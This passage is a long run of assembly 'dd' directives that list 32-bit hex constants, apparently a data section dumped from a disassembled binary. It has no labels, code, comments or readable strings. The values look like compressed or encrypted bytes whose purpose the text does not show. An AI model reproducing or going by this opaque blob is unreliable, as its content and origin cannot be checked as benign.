4EB5AAE5h, 1EDAF7E0h, 1F15E22Eh, 96803ED6h, 0B4111E33h dd 0FC1FF19Ah, 8C03E89h, 77F41DA3h, 0BEEC00CCh, 1A720416h dd 2907991Bh, 7A7FB0E3h, 0DD6348C0h, 61E5077Ch, 8069DB43h dd 91D5D1E7h, 0C100AF78h, 3BD7CF08h, 174E55Dh, 0E32B7A0Eh dd 0F8420640h, 910C661Ah, 10098A85h, 0C96002AAh, 0CAB27EC1h dd 0D062BEC0h, 0FE6DC006h, 0E4E06ABCh, 0D5F83979h, 4075851Fh dd 45176FF9h, 8C00A2A4h, 54D33B69h, 0D1DF50h, 0AD3371F6h dd 39267704h, 6BBD3700h, 20101449h, 8D8E0092h, 67429302h dd 5801B098h, 0F4B1378Ch, 29F8234Bh, 40B30E63h, 0AC206084h dd 78E801A6h, 47676100h, 0FBC47DB7h, 5F0007Eh, 0B50F6F57h dd 3700AD3Ah, 155C74B3h, 3B9334h, 0A76314F2h, 0FBB05E3Ch dd 8243710Ch, 77D06Eh, 8EFAD72Ch, 8110B9FEh, 0EDD21D0Fh dd 12BF0025h, 0DD1A87h, 0AD1E0DECh, 0B9468ABEh, 5971DB00h dd 3DD5F1C4h, 70CA60B0h, 2655345Fh, 0C2D81750h, 9B30B370h dd 0F65B68E2h, 0B83CEAB8h, 26D802A8h, 9A64CF5Eh, 31E4D040h dd 6DF2FE0Fh, 97D0039h, 0E03CC51h, 0CB41E2A7h, 606032A7h dd 8B273CE4h, 2E061700h, 9D2DCDF3h, 7AA23F16h, 0BCD2CE8Bh dd 62C45780h, 0A40082CBh, 349F568Ch, 0EC57C830h, 0EB48309Dh dd 33AF5190h, 13F390A0h, 0E5B0734Eh, 123A7896h, 755710Dh dd 0C0B21D6Bh, 0B74540FEh, 5E280700h, 3C4FF114h, 330E00BEh dd 73841F5Dh, 6748ED2Bh dd 38511E94h, 0ABAC6C80h, 46AD80Fh, 34146E6h, 2F608777h dd 63EF18B8h, 0D4BFCF00h, 5B780D14h, 0FE9E1497h, 3600A681h dd 0F36FF8C9h, 1605C879h, 27394907h, 64249C00h, 3F84E6F7h dd 9680253Bh, 238CB450h, 0E1C0D8FAh, 42C43FE1h, 0E4431E0Bh dd 0C328C3E2h, 0DEC00A45h, 251FE5E0h, 88C00DBAh, 67B5D16Dh dd 8E781237h, 6E384783h, 928D673Eh, 0CB63A2F3h, 4781E109h dd 7D0480CFh, 1DD85182h, 80346FFBh, 0EE7BB440h, 41318A7Ah dd 8CBEFCCCh, 0C1CC17F5h, 0D8DF6007h, 426EFB6Bh, 0ECA49F0Fh dd 0DA7A066h, 3962D99h, 88821578h, 6CB858F7h, 39000756h dd 4D5EB61Eh, 0E6FE1Fh, 2953841h, 801AEFD2h, 0A26E4400h dd 57F3CFF7h, 595416B8h, 0C0851ECCh, 807863A6h, 0E200B44Dh dd 4C91CE64h, 0E49A582h, 59CA6029h, 0D0099587h, 0D5ADAFE9h dd 89544B00h, 557EB2B6h, 0C30B3AFDh, 6F92B01h, 0D032220Ah dd 5200B66Fh, 0D13EF795h, 39BB090Dh, 10804F5Eh, 0B1AE9947h dd 5F0073CDh, 0B394B87Ch, 0A93A09h, 0A6F582D7h, 3C89E734h dd 0B5DDF04h, 80EE742Eh, 0A40C66DEh, 0EF033800h, 0AFE6C76Bh dd 0EE8F00D7h, 0CE24A986h, 5B003015h, 0A08B8E6Ah, 161A788h dd 0E4256CB6h, 80D844E5h, 74AF8448h, 0BEDE0h, 3F53F6C4h dd 451266A6h, 0E8206900h, 1770BA23h, 0C4F4009Dh, 0C7528692h dd 48009435h, 0AACA7BFFh, 60875B24h, 61B3702Fh, 0EB001364h dd 0CC14FFBh, 0A38B74h, 97AF877Eh, 0A08870DDh, 0D5006878h dd 34FAE71Dh, 7F1E2150h, 0A8A6021Ch, 4B737118h, 0E2C88040h dd 49D65C00h, 0FB7E5B67h, 5EDA036Ah, 0FF7145A3h, 0F2C08CEBh dd 0A89846ABh, 0AA56EB00h, 21442FB8h, 0D37BB9h, 0BE630850h dd 3AA2689Fh, 3600D098h, 6074C981h, 276F7Dh, 84C43F1h dd 0B223A4F2h, 0F43F4824h, 6B0CF800h, 2672F31h, 5587D19Bh dd 58606C0Eh, 5A00A103h, 3D731B66h, 91FD8Dh, 72A26A45h dd 4ED33F23h, 9A0058F2h, 0A7228131h, 0FF6D62h, 157785CDh dd 2E8399B2h, 0F3791101h, 12427150h, 74A68C30h, 0E82900B6h dd 0BD4FBB17h, 3E00D9F6h, 8F4D99C6h, 0C0ABE0C7h, 9818DCF0h dd 491FFE74h, 65C2A720h, 40D84275h, 75B0A50Ch, 113C604Ah dd 0D9511D9Ch, 164F4D00h, 0C415DF39h, 533A0065h, 0D2D7B434h dd 454DD468h, 3F6D1FC8h, 4EF47F07h, 0B310E1E7h, 178A8ADh dd 0F28A5D35h, 0C4E4DA37h, 297A05B9h, 10875700h, 3D9D286Ch dd 0AC1C3FCFh, 65E08100h, 79FD5091h, 0F73BBC00h, 98D2BE74h dd 52E8E7h, 4A45FC68h, 0A4476020h, 420096EEh, 396AAE62h dd 9BB5AFh, 0D198F890h, 445BACB3h, 849AA00Fh, 1AA2A031h dd 0B32B6C2h, 0D6060188h, 0F5C96700h, 0B1FE967h, 0C39FA373h dd 2C95F940h, 239CD86h, 0C67AD68Dh, 8040B731h, 0D21EBA11h dd 19C00F1Ah, 1EAC07Eh, 305500CEh, 0A9254DF9h, 8F7D5080h dd 247F327Ah, 8813B400h, 66F6E01Dh, 701E0ED3h, 0EBA5D623h dd 0F408C05Ah, 0CE7D4C37h, 0AE6C2416h, 0C94B1403h, 0AC66C01Dh dd 424500E8h, 524195D0h, 941634B0h, 3042F73Ch, 609B2C1Fh dd 637C0CDAh, 3FA5B1D8h, 0AE3912D8h, 0A95D6100h, 888A3B63h dd 3C4B4C81h, 44B4CD18h, 8E74A347h, 9BB11000h, 6243CBEh dd 948B0FC7h, 3D616241h, 0E4C6BCE1h, 7E021D9h, 0CC13327Bh dd 0C4001D11h, 0C1BE3531h, 3811C21Ch, 1360BA30h, 3700C5CBh dd 7ED26AB2h, 0E07DC2h, 0E5E69660h, 8C863F6Fh, 635E8D02h dd 8037A7ADh, 535104CFh, 48F41E21h, 296DC069h, 0A0C3868Ch dd 0AB509D00h, 8B9CFD31h, 0C2690040h, 46EC5E4Dh, 21F0D7B7h dd 0F218513Eh, 4393AA00h, 0B2843766h, 48622AE0h, 712F73B8h dd 0DB6100C9h, 0C481A5A7h, 48009CCEh, 7EADA468h, 0A885C7BDh dd 7363BB9Ch, 559103CBh, 68BCAEDCh, 5F8FC5F8h, 0C101ABFAh dd 4FF385FEh, 602816B1h, 96C05B07h, 58704C33h, 81C8E63Eh dd 0C4C6376Bh, 18838431h, 0B98E27B8h, 2AEBF9A0h, 0B0313461h dd 49BA6EF1h, 7F540EF0h, 9D8008F3h, 44DFB33Eh, 4E92BC00h dd 60FC127Ah, 6BC50005h, 10F3571Bh, 6E74DA54h, 0EB80340Dh dd 38105848h, 60537466h, 0F38850F5h, 1850B151h, 3100ED5Ch dd 0F96D634h, 0E89EDE8Ch, 2EDC138Eh, 45E040F0h, 576225D4h dd 0B8A36F01h, 6D5547A4h, 0FFB8130h, 524CE685h, 2AE8AD20h dd 0AB00A4BCh, 0B50B366Bh, 1B973Eh, 6E91205Dh, 0BD823F24h dd 0B46C7A00h, 0F8691D23h, 725100B5h, 2695FD9Fh, 34FE48BEh dd 0B9080300h, 28E9D33Eh, 7F37787h, 69F794CBh, 0ED82401Fh dd 0F0A84E18h, 1B1F537Ch, 9D405F80h, 88E21345h, 668C001Ch dd 0BBC8BAF0h, 55004005h, 542469F3h, 0A199ED7Ah, 4F0844DCh dd 0B62D7D00h, 0EF8E67B8h, 89766B0h, 7500214Bh, 997F2D85h dd 0C2E7125h, 0C2E215B3h, 140CB60h, 4048FA31h, 7260BF3Ah dd 0F0162738h, 4B52152Dh, 747CBC70h, 608B7AC2h, 880C11EBh dd 6506C31Ah, 6D6E3773h, 0DC64E109h, 1A7F06ACh, 9135454Ah dd 1CDEE600h, 1FDDE98Dh, 60416349h, 21013844h, 99EA838Bh dd 7AF4E9FAh, 984D5418h, 0E0AC1C30h, 519D4052h, 88602263h dd 9E9E1124h, 23C82E03h, 0D4D01209h, 6D770CECh, 8FB78AB9h dd 53E0208Ah, 0CDB0EB57h, 0DCC98508h, 4300F2BEh, 10BDB524h dd 142504DDh, 0B85AF575h, 0F8816905h, 0BA90002Bh, 460561Bh dd 37A61107h, 6623D4AEh, 0ACD9D0DDh, 0FE6A013Ch, 0FB3D8515h dd 0D6D5C8B5h, 0EA9FF800h, 72390ACDh, 8F83002Ch, 1DAA47A5h dd 5D13BFF6h, 14035195h, 807394E1h, 1D8BF428h, 0A624F8A6h dd 2B7B00A9h, 74951B7Eh, 91005F77h, 2472C111h, 0E72359h dd 7AF9527Fh, 4A863135h, 0A73EF00h, 0D9AD8B87h, 58AB0F18h dd 4680BE78h, 2E2006BFh, 1F0F4C7Eh, 0C359D35Ch, 9BE53FECh dd 5B23B0B2h, 0CCF44Bh, 902B68F2h, 0F14CD1A6h, 34C9EE19h dd 21805D08h, 0EC90228Fh, 0DB78DF9Ah, 9700487Ch, 0FD2A624Dh dd 8E6E10h, 0C512923Bh, 1058AEEh, 7A7C5A01h, 51AAD267h dd 1E84AE4h, 78557258h, 91DC813Dh, 2D802189h, 5CD1A890h dd 8877F043h, 9004248Dh, 0D4E1A89Eh, 2F370052h, 0E6C5393Fh dd 732DDF00h, 7093AF3Ch, 68976361h, 406456A8h, 30601C70h dd 0D168AB90h, 63913868h, 90278800h, 491E9C76h, 75E93E03h dd 575C77h, 7E687A21h, 4F5812CFh, 4B25CB00h, 0E77D943h dd 0CD2D03ECh, 4EE2EEB9h, 5E48311Dh, 77309C06h, 2A980E11h dd 4100A632h, 10F94D0Fh, 216C08CDh, 0ADC823F9h, 0B12103A1h dd 2C57EED4h, 0D8598990h, 0D2685803h, 8EDDFD45h, 9F60C868h dd 0A53229C1h, 0B0E39C1h, 80322235h, 4B1FBA5Eh, 3899F8EBh dd 5F8ACBA0h, 21D49D01h, 1862D19Ch, 30D4000Ah, 337FB656h dd 4701F337h, 590495E5h, 0D8EB5772h, 0E09AF9C4h, 821B0056h dd 0D2B38709h, 0EA3A78CFh, 3C6B0092h, 31936C6Fh, 445A0079h dd 17D94B0Bh, 38076541h, 0CCE266ADh, 8319E7B0h, 9FE900B3h dd 0C94A5BF1h, 9B2CCEA7h, 4B001B38h, 3C667C3Dh, 47330763h dd 0E0279117h, 0C4520D6Ah, 0E464180Fh, 7B110054h, 2458C88Fh dd 0FD0BFDh, 4A3D33A2h, 0B200165Ch, 0D7CDBFFFh, 20C605h dd 2EECAA1h, 64F16794h, 264B5402h, 9C5B69ECh, 2CB10004h dd 1B39FEDh, 0E1F8557Ah, 0E3DA7203h, 0F84B6981h, 143DDECh dd 1AF4BB76h, 806E09DFh, 77EE6540h, 46FFC34h, 2201C3D0h dd 3C098049h, 6A1C7E82h dd 20B0C826h, 14FE9A5Bh, 20DE8AB9h, 181EF0E1h, 5FFE10E2h dd 26710353h, 5A51BAh, 2A803BB9h, 0F7AD3C4h, 6ADC6E12h dd 2141FE0Ch, 2B780099h, 0A2354D6Ch, 63719A54h, 2EF42918h dd 19D92F9h, 8E8B07D9h, 0ECB20E7Fh, 360051C6h, 0A40CEAEEh dd 0E7847AAh, 4E6A55A9h, 839CC2EAh, 3CAFFE63h, 0B1779807h dd 1C89619h, 437B5AD3h, 8911806Dh, 0F2B9E980h, 0F04A0C6Eh dd 830896EAh, 88AE21C0h, 0D231E9h, 53BC7763h, 74CAD8D3h dd 7035DE0Ch, 3AF2299Ah, 790247BFh, 6617B155h, 0C91F3463h dd 9980958Dh, 44E07A2Dh, 0EACE2805h, 0C7E61CD5h, 6F45CD28h dd 89A5E849h, 0EA234100h, 0CC1F05D0h, 28C8CE31h, 2D0AD4Ah dd 3A4E71ECh, 0D4B08480h, 734855B3h, 8BC40004h, 0BADBBFFBh dd 0B61800D2h, 0E24A56EAh, 8F021F11h, 0E8969C1h, 0C94A0EBh dd 18119C4h, 2A36BD64h, 0D137AD6Dh, 0AA2180F4h, 1FFF1ABBh dd 726A0FC1h, 0AC35F665h, 0B1DBDE06h, 0BC837886h, 0C92C21ADh dd 0E564F819h, 0AFF3448Ch, 1E19C007h, 0E01FC39Ah, 0E0CD9E34h dd 647C3Ah, 0D0EE696Bh, 0D46FFBABh, 8A60BDE8h, 641E6368h dd 0F681C549h, 23682BC2h, 8B4100F9h, 8530F070h, 0F78A6600h dd 0C7A7F540h, 0AFE0A0F4h, 4DFE2871h, 925274B0h, 0CAF058h dd 80D1D695h, 7C53A273h, 2842AC01h, 0F7EF2E6Bh, 908A9980h dd 29F3BAEBh, 46EC40h, 0AF842CB5h, 0A7578DA8h, 4108B066h dd 0BD670021h, 0B714822Ch, 6EE6DF55h, 0A64DC609h, 4F6818EDh dd 34F48053h, 541139CCh, 899200EEh, 0C45044C1h, 8850ABDDh dd 3F26BFB5h, 8E1D1802h, 1F809C0h, 334FB92h, 26EAADC8h dd 60B8504Ah, 0FE14ED79h, 0A0EC45EFh, 149E78BEh, 0C862B6F8h dd 49EE2A73h, 1E8546F8h, 644819C8h, 40FFC4DDh, 7A19BFAEh dd 0EBC2090Bh, 78106735h, 8F31C7F4h, 3C25A806h, 0F7D3B88Ah dd 71B300C4h, 0EE39984Fh, 0D01D9CF6h, 841C6077h, 0DFD7F2C7h dd 600E28CCh, 0BB1569E4h, 0E10E18CBh, 0C29178F2h, 60ECD1CFh dd 80331F64h, 0C100807Ch, 57257189h, 932CA3FEh, 88ED9FB0h dd 6A1833D2h, 70D830A9h, 0CC4482B3h, 18B9F481h, 2BE6B8B4h dd 11F4B0AFh, 0BC660040h, 0A146802Ch, 0B5C13001h, 44775AECh dd 848F4899h, 8EF2A4E9h, 0AA208262h, 0FA2BE98Ch, 1E0C012Dh dd 99ABD255h, 45D84188h, 8029BF7Dh, 0D16AAEAFh, 0CE3CBEh dd 9054D7B2h, 2F339AC2h, 397AE406h, 310CD0h, 0B2C99D69h dd 99A9419Ch, 802C6E28h, 0DFAC30F9h, 0C37C4588h, 89ADA531h dd 36D15E88h, 632F0A01h, 3051BCE5h, 6967FE4h, 0B271B1CBh dd 0E8C44853h, 7E30437Dh, 0F221B7E9h, 86B0C05Eh, 641E69E9h dd 0A8802FC5h, 9E95FCDCh, 6299168Fh, 0BC380849h, 0C22A7EC0h dd 106A21D3h, 9B004891h, 68012B76h, 0D1C3E70Fh, 7DB3263h dd 0A53D31E0h, 0CC7E702Ch, 335094E6h, 4B42D684h, 0C1C1AB1Ah dd 608C8084h, 108019C3h, 0C837B564h, 0BA80BBF2h, 3205F51Ah dd 0D309B64Bh, 202DF3EEh, 0E7DFB00Ch, 2FB80165h, 51AC14E3h dd 0F4C0248Dh, 6F8F0900h, 96E987E0h, 4ACC1295h, 0B3E041A9h dd 3690CBB0h, 0B809F3ECh, 26627FBh, 0A80C536Dh, 0E7309D22h dd 0C4E54828h, 7D7F310h, 57F504E9h, 0C111C06Ah, 0C72A8380h dd 0F4392D3h, 981E4522h, 0EF412A7Bh, 6C1EE5FBh, 18D26C64h dd 7087B9DBh, 0DC001B7Ch, 4EBBBC76h, 23CE57h, 0C1B27063h dd 0E69B3CAh, 27C84850h, 3C0AE39h, 0D1BBD48Ah, 7D403D89h dd 0AC2BF215h, 6B5FED00h, 27CEEB5Eh, 0B20976FEh, 900F8AC3h dd 724D618h, 1A4D081Bh, 8E7DE46Ch, 0C17D88C8h, 3156D3F9h dd 29809108h, 2CB74601h, 36D8AF7Eh, 163A2208h, 802CBF6Dh dd 1205EADCh, 0A06AAF04h, 6CC0F08Bh, 16BC387h, 0D042637Eh dd 0C46DF6D1h, 9C162437h, 540E482Bh, 6809B03Ah, 9CACFBA8h dd 0F343BC88h, 0A30B32Ch, 4444B8AFh, 0BB805C42h, 0FF0E0F2Ch dd 0DB1B00E1h, 86FEA0BCh, 0FD008E94h, 9E790973h, 5451CD1Eh dd 56AE84Ch, 4BF8F078h, 2341C02Bh, 9700FA0Bh, 0C23A95B1h dd 0B1E30F1Bh, 80A61C00h, 0DBC3E22Ah, 0EE7470C4h, 21D40F73h dd 583D1F09h, 807D0200h, 0C04951BBh, 127CF969h, 2E00D275h dd 5DC6CBC4h, 187965Bh, 0EA7F0317h, 0C21EEDB1h, 8081C0C8h dd 23505649h, 2A7F01BDh, 3372D3C3h, 779C8110h, 35E0752Bh dd 0C107E962h, 292CD878h, 92810AC4h, 0E900B856h, 2663DCE4h dd 64464808h, 89F984h, 0B11EE8EBh, 6015EA3Ch, 79AF411Fh dd 30814D8Ah, 0B00C2420h, 0E6861430h, 0DA0354F3h, 43B5FBE3h dd 0D778780Bh, 2904A137h, 0F857CA81h, 0BE4F15D0h, 0EFFCF562h dd 8F710197h, 0BBD1C9CFh, 0CE898011h, 2E87E1F4h, 185774B1h dd 705ACADFh, 888A54F1h, 651E5CA0h, 8004BBCh, 0BEA1B17Ch dd 0F470C058h, 81A841D7h, 5C5E557Ch, 0C2266CB8h, 0A701DC3Ch dd 3E0EC59Fh, 6FD8F2BAh, 55C90EAh, 3FF70480h, 0ABA84E47h dd 651C84F5h, 1827DA06h, 3000ACE4h, 0BBB53ED2h, 3DB4103Dh dd 0C7816C87h, 7D6D01BCh, 759120AFh, 0ED3DB114h, 0E8884098h dd 0A45953h, 0CB545630h, 38A76CD8h, 0AB14D54Eh, 2A00D0BDh dd 2675D2CEh, 6B28FE65h, 0FF454C55h, 30888002h, 841119C7h dd 0F288D564h, 19BEB180h, 9C7A32h, 0BB63830Ah, 65E86DD4h dd 83FB58C8h, 4FE3EF1Dh, 0E4207060h, 4C35E7C9h, 0CF804C68h dd 0CB4844A0h, 51DB290Ah, 0B404E09Ah, 94D281BBh, 46BCC42Dh dd 0E97D027Ch, 3166F2B6h, 85AF107Fh, 0D68000E9h, 1F1A7CA2h dd 0AC924DDCh, 8C457624h, 37551440h, 7470EE16h, 1E6D79B9h dd 0E675654Fh, 0F2BF0840h, 0CEC1B664h, 4036E0AFh, 6C013B22h dd 148C2CBEh, 87FCF4BBh, 18B4B803h, 71774484h, 690097DAh dd 142F75Fh, 16DDD44Eh, 4AF5370h, 0B47E9158h, 3040C810h dd 0E3950273h, 0E20F9B5Ch, 0B0686B20h, 3B6A00C0h, 9C276652h dd 10055ADCh, 0AC1942D9h, 44769804h, 0B4E98330h, 5496F22Eh dd 8BA970h, 0E3B4ABE9h, 51E4442Dh, 0C8C5DB2Ah, 101E5726h dd 0BF480449h, 0C92A8560h, 16A2D327h, 7D960390h, 0E2A9432Ah dd 89BFD980h, 8C1F041Eh, 0A67B50B0h, 5A11092Ch, 0C031ABh dd 0B0B68CDh, 0A62681B2h, 5A9215Ch, 0E3F9D269h, 10E8C129h dd 9804046Ah, 0FCA44D70h, 45994069h, 9F397160h, 128C8A7Eh dd 82E96B1Dh, 5C015398h, 0E987BDDBh, 832A2963h, 10736BADh dd 3BD02618h, 649B5B28h, 0E1BB4AE4h, 82E0F890h, 38D98B76h dd 9034F050h, 0AFA371h, 0A2BFF6B8h, 25557B93h, 82C53B17h dd 5AFEC804h, 0BC3D6743h, 43203C8Dh, 0AF04A146h, 43E0681h dd 0ECC9CF78h, 66F7FC40h, 0F4A40014h, 4F6C8D1Ah, 18984125h dd 2CB1E505h, 0A4415253h, 81B76819h, 0D79FD43Dh, 233C4B20h dd 7B405F80h, 1DFCDDCEh, 43A6AD0Fh, 58C30082h, 171EA73h dd 21CDFA32h, 0D4FE86FDh, 0E1026E19h, 0B591F018h, 0D46340E4h dd 112A0093h, 723E039Fh, 0DF3C17C2h, 0B9AF0328h, 0D899BD24h dd 1E190Dh, 0F7F95329h, 1463BB6h, 7FA29D00h, 7E4E358Ch dd 82D9000Ah, 4CF6D5D6h, 31006B80h, 0CE6D0BCCh, 4DD40ABh dd 259B93A5h, 0AB80FFA1h, 940F49h, 0BD69B821h, 4612D2E4h dd 0F5D8421Eh, 17007A7Ch, 0C2A44E48h, 3A408510h, 0B2BB8257h dd 87A17200h, 0EE139946h, 0D674E700h, 2CDACB2Eh, 52F0003h dd 0EAE9D728h, 58013209h, 689CC2B9h, 9EF0190Ch, 146E03A1h dd 0EBBF0216h, 0B0689DDAh dd 13003F62h, 35D86659h, 1824CA70h, 1175EA20h, 180023CDh dd 0C0ABA438h, 1462250h, 8A746909h, 80B3905Ch, 0BE140C78h dd 806B20FCh, 0FB00E7B1h, 2CF69725h, 0FF37A5FEh, 6007EC52h dd 0CFDC0EA8h, 2803260h, 0D624E2EAh, 1ADBCD00h, 397599E4h dd 9650005Ah, 0B20F3AB9h, 1E0E4EC6h, 0C08BF82Eh, 75339E1Bh dd 8F2207B7h, 0C06D62F3h, 1D42C8DAh, 0C648C400h, 1CA4198h dd 0AB231DD8h, 8557C14Fh, 0C0CDAF09h, 0EB005073h, 0C7B3545Eh dd 0A0B634h, 0C30608DDh, 4F62D190h, 0A57C59F4h, 1BF46700h dd 61177036h, 0EF75001Ch, 0ADFA050Eh, 0FC00823Ch, 7A01A732h dd 281DDFAFh, 18C514Dh, 1AC9B0F4h, 0D8119941h, 26028C40h dd 685CE875h, 0C3084194h, 4C4EEEE0h, 59091161h, 68A0DD41h dd 0CD2B06A0h, 7B678901h, 0A481E09Bh, 1D077CECh, 0F4A647h dd 83D75AC5h, 5C000308h, 26BF91DDh, 47C844h, 79C2190Fh dd 0E759369Ah, 10DDCC1Ch, 0F2DB2880h, 0F16D05Ah, 309172B8h dd 8B35C900h, 0D7C6B9Ah, 82B43307h, 0E5109470h, 9005D2h dd 4B5BF376h, 0A83B29D4h, 9BDFE8A8h, 0BB655D00h, 3FD17942h dd 33E4259Ch, 0C9005A74h, 55B12D57h, 3BA600D6h, 401D6284h dd 9A14DC3Ah, 9CF81560h, 885F28CCh, 573F9h, 212B4146h dd 9A521DEFh, 0DDEAA300h, 4E64A4F4h, 2F0E00BDh, 0E2D839B3h dd 3C90C522h, 20274326h, 0E5199880h, 52E2BB5h, 3058544h dd 809C1D5Ah, 0C6FB066Bh, 94000EE5h, 115136Dh, 1117293h dd 0C7397FDh, 24678E4Ch, 0D00D998h, 0DEA95D57h, 22BDD09h dd 85A3283Ah, 9448FB70h, 7B002157h, 939D6EC0h, 4BAF8Bh dd 98A2E316h, 50230C6Fh, 2D178F01h, 0E4BAD058h, 49D4E1E5h dd 38310080h, 1F9E1C0Ah, 5500D9FDh, 4BFFA0F9h, 3150FDDh dd 5BBE3AA7h, 0CDF0E516h, 0B1000847h, 1CC7FACEh, 0B781A9h dd 90A2C63Bh, 3AA48E44h, 6D73BA00h, 4FF3EA70h, 18090069h dd 2AA24271h, 6E0007EFh, 0ABE34CD6h, 31ECDh, 4614B6A7h dd 0EDFE0B6Dh, 5F6220E4h, 40F20FB8h, 0F7B29F3h, 0E552A98Dh dd 90DC8965h, 9FC58578h, 0F93B3Bh, 0FF2A25B7h, 10EE9Ah dd 0A5A12DAAh, 0DD8DDF2Eh, 47BBF100h, 0EBC7A631h, 0CCFD12C5h dd 0FA8303B8h, 18033085h, 0F10A93DDh, 0C0115A7Eh, 0AB22C128h dd 78336E03h, 0D864851Bh, 16BC2EECh, 0A0E5EBh, 4AADE62Ch dd 9D0FA562h, 402326B6h, 883A2E1Bh, 92803A74h, 0FA0ABF00h dd 56438C4h, 0EAE41C1Ch, 0A8289F80h, 0E54675h, 2154C2B0h dd 8792E91Fh, 996A7101h, 0B9CA5F62h, 2114C64h, 0A9F2E77Fh dd 40FF94h, 5A1701F0h, 7D00140Fh, 8C876558h, 7B4F0138h dd 434ED1F7h, 145A2091h, 5C18AD77h, 0F226AE3Bh, 394B0049h dd 0B19B28A9h, 0B36035F6h, 0EBD6C918h, 0E6CB0463h, 83C05ACCh dd 0E0A2F634h, 74A3AEE2h, 0FCE8611Ch, 0C6003726h, 412F865Fh dd 0FD28C5h, 0F6931EC2h, 0A6D4079h, 441E9971h, 0E40025A5h dd 65639688h, 32C00002h, 0FDA96D69h, 0AF38D93Ch, 358D00CEh dd 6580E0FEh, 727D76h, 2524B88Eh, 0ADA13721h, 2804C30Eh dd 0ED584019h, 5618BCh, 77EA8809h, 9FC942D7h, 7D806200h dd 3F69BA32h, 345300BCh, 25E6C1ABh, 2A006DADh, 21B5EC76h dd 0B0ED8D38h, 0A2701C06h, 8208003Ch, 7DEC958Ah, 6678B000h dd 0CDCB3593h, 72AC0EA1h, 73401B48h, 0D021C192h, 9AD4BE00h dd 6E433861h, 0CFD21E8Ch, 0A29E4096h, 2B148052h, 0BC15A100h dd 0FBE5200Dh, 95C405FDh, 843C60AEh, 93808044h, 0D8028A4Fh dd 0F2BBEEDDh, 447040ECh, 0FDC600A8h, 17D060F7h, 0BFE5CC2h dd 0A51B58C0h, 0FEF4DC7h, 85BD20CBh, 0A6DA3FA0h, 0D0001D94h dd 9197D524h, 86A1C7h, 0FB6FBC5Dh, 107CFCA8h, 5E1DC300h dd 49B860B9h, 0E3DF0084h, 55F9CB76h, 9099DC6Fh, 1E853B03h dd 2263A850h, 44A701AAh, 0EBC6C97Fh, 0C2D4Bh, 28D6B691h dd 2B318A6h, 19D0BF89h, 40C09B44h, 0B900C48Eh, 16A42912h dd 90B627BDh, 0A7353F4Bh, 0BA0080DCh, 9E2B10B3h, 0D02BEACh dd 0DC4B6579h, 7B0850E8h, 57272E26h, 183487D4h, 4A46D0B6h dd 292ED1B8h, 0D4032CA3h, 0A0BC102Ah, 0A12B6D08h, 0F0EDDA18h dd 2E74F208h, 8763C401h, 56F4EE3Eh, 172D6BF0h, 808B8E57h dd 378D6568h, 7CF0A93Ah, 22BC830Ch, 15C5153h, 18F2BA0Fh dd 0FCC3FDB0h, 8E0208B1h, 0EB4FAF86h, 265CD215h, 57A2FA9h dd 87C61062h, 0DBC241B1h, 456C40EAh, 1E0035A6h, 4C44C557h dd 1749BCAh, 42C29FDEh, 0DC2EEB2Ch, 0CB01CD06h, 32E08859h dd 28EC4D8Dh, 6D600086h, 0BA452AB3h, 38018EB7h, 49E6DE72h dd 98FCFFBDh, 16800DAh, 636C9C99h, 0F5000E90h, 4B882F6Dh dd 0E6594FA9h, 0D4440095h, 6F43B4D1h, 0BDF2DE8Fh, 470AA100h dd 9B8096BEh, 7F55037Eh, 0E1A0653h, 0C9BFC1B0h, 8E457913h dd 447A5047h, 0C514EB1Bh, 5215046Eh, 6300A098h, 0BB807BFCh dd 661C9D0Eh, 83CFED5Dh, 98D81CC2h, 7331FAh, 3CE10D3Ah dd 598D3EC7h, 0D821AE00h, 0A4F5D22Fh, 14710008h, 0DE516B53h dd 721F3E0Eh, 3F9D682h, 0ED7B396Ch, 15C6B84Ch, 0C4F000FEh dd 5279FCD1h, 7F008FD0h, 1F113B30h, 5C38EF0Ah, 16018CB9h dd 4BF76440h, 0D4E86479h, 7CFB6600h, 0FF4D1E6Fh, 83BD1609h dd 30D44010h, 0C4489BE6h, 0CC1A513Eh, 65930096h, 0B18B3920h dd 1C280627h, 51D1040Fh, 135C6C73h, 2672050Ch, 88C3B4B9h dd 0EDA1B01Bh, 5F985Bh, 0D4364010h, 71585DF1h, 0F006CC0Bh dd 297603C9h, 9481EE6h, 0EED113B0h, 6E92A600h, 738962DEh dd 0FF590034h, 31BFF2B6h, 830042D4h, 272CDFD8h, 1813BEB1h dd 0C0CC68E2h, 0C80B5EEBh, 87F17DC0h, 80685DC4h, 6A649B81h dd 822E47BCh, 3039A4CCh, 2914F953h, 80AA0EA0h, 60C9D51Dh dd 7C1D8452h, 0A780619Bh, 887FCBA1h, 62640797h, 70C0BAA4h dd 5C688085h, 0B3C1A201h, 0F5D2E30h, 9E48E0h, 7A9267E0h dd 0B6D586FFh, 87324500h, 0BBF61A61h, 39D400CFh, 93ACC93Eh dd 2AF42694h, 1D00E8FCh, 87F62079h, 174148C7h, 60BF1F23h dd 2C7F7464h, 0ED0B3D00h, 0C912977Eh, 92DC0A1Fh, 0DCA23Eh dd 236496CEh, 0F502814Ch, 159CC359h, 6C5898h, 7B6E3F2Ah dd 9E0D4AACh, 0E3A7F905h, 6490361Bh, 3452F26h, 2ACC25BBh dd 0EBD0F64Eh, 181E3AA5h, 0D8408EEFh, 9F7EFA61h, 30DB00DEh dd 0A98591D1h, 0EC1D0F36h, 0E017B39Bh, 1780200h, 1A3AD4Dh dd 0E26343CBh, 0F8501FFFh, 0D8076BBBh, 0B8597109h, 17EC41F9h dd 8FC030h, 0BCFB1B6Ah, 0D12FDADDh, 0A9004490h, 8E3F6E78h dd 2121F04h, 97EA0EDCh, 2448477Ch, 9BFE95E3h, 806E3E3Dh dd 259E046h, 2AE48387h, 2F858CAh, 0D4E3BEF8h, 6448CE05h dd 0B4184084h, 8F11AC28h, 615F0096h, 0E87CABFFh, 91FE500Fh dd 0CD301A3Ah, 0B9A30004h, 6AF6BB32h, 4B73EFh, 277A4901h dd 8DABD358h, 4518D8B0h, 9779BB30h, 9F6F0260h, 82D727A2h dd 11C0E8C4h, 0DB422581h, 7DAB3EA0h, 0FE008459h, 3656067Eh dd 8CF0294Ah, 4360182Ch, 0EDC6803Bh, 59A48578h, 0EE447h dd 222041ADh, 0DD68F5CFh, 1FB6E300h, 97E610BAh, 187FE77h dd 114EB09Ch, 0CCC0F709h, 0A91FA834h, 78750FAh, 84D0D6BCh dd 896365h, 738F5D8Ah, 485BFE18h, 0F40B6B00h, 0C11A72DAh dd 17990145h, 9EDE3D90h, 5548209Ch, 4740A894h, 0FA45D72h dd 15FDC5F3h, 3B746100h dd 0BB8F2C8h, 0A94E6806h, 76040DAh, 0E2939279h, 132910CFh 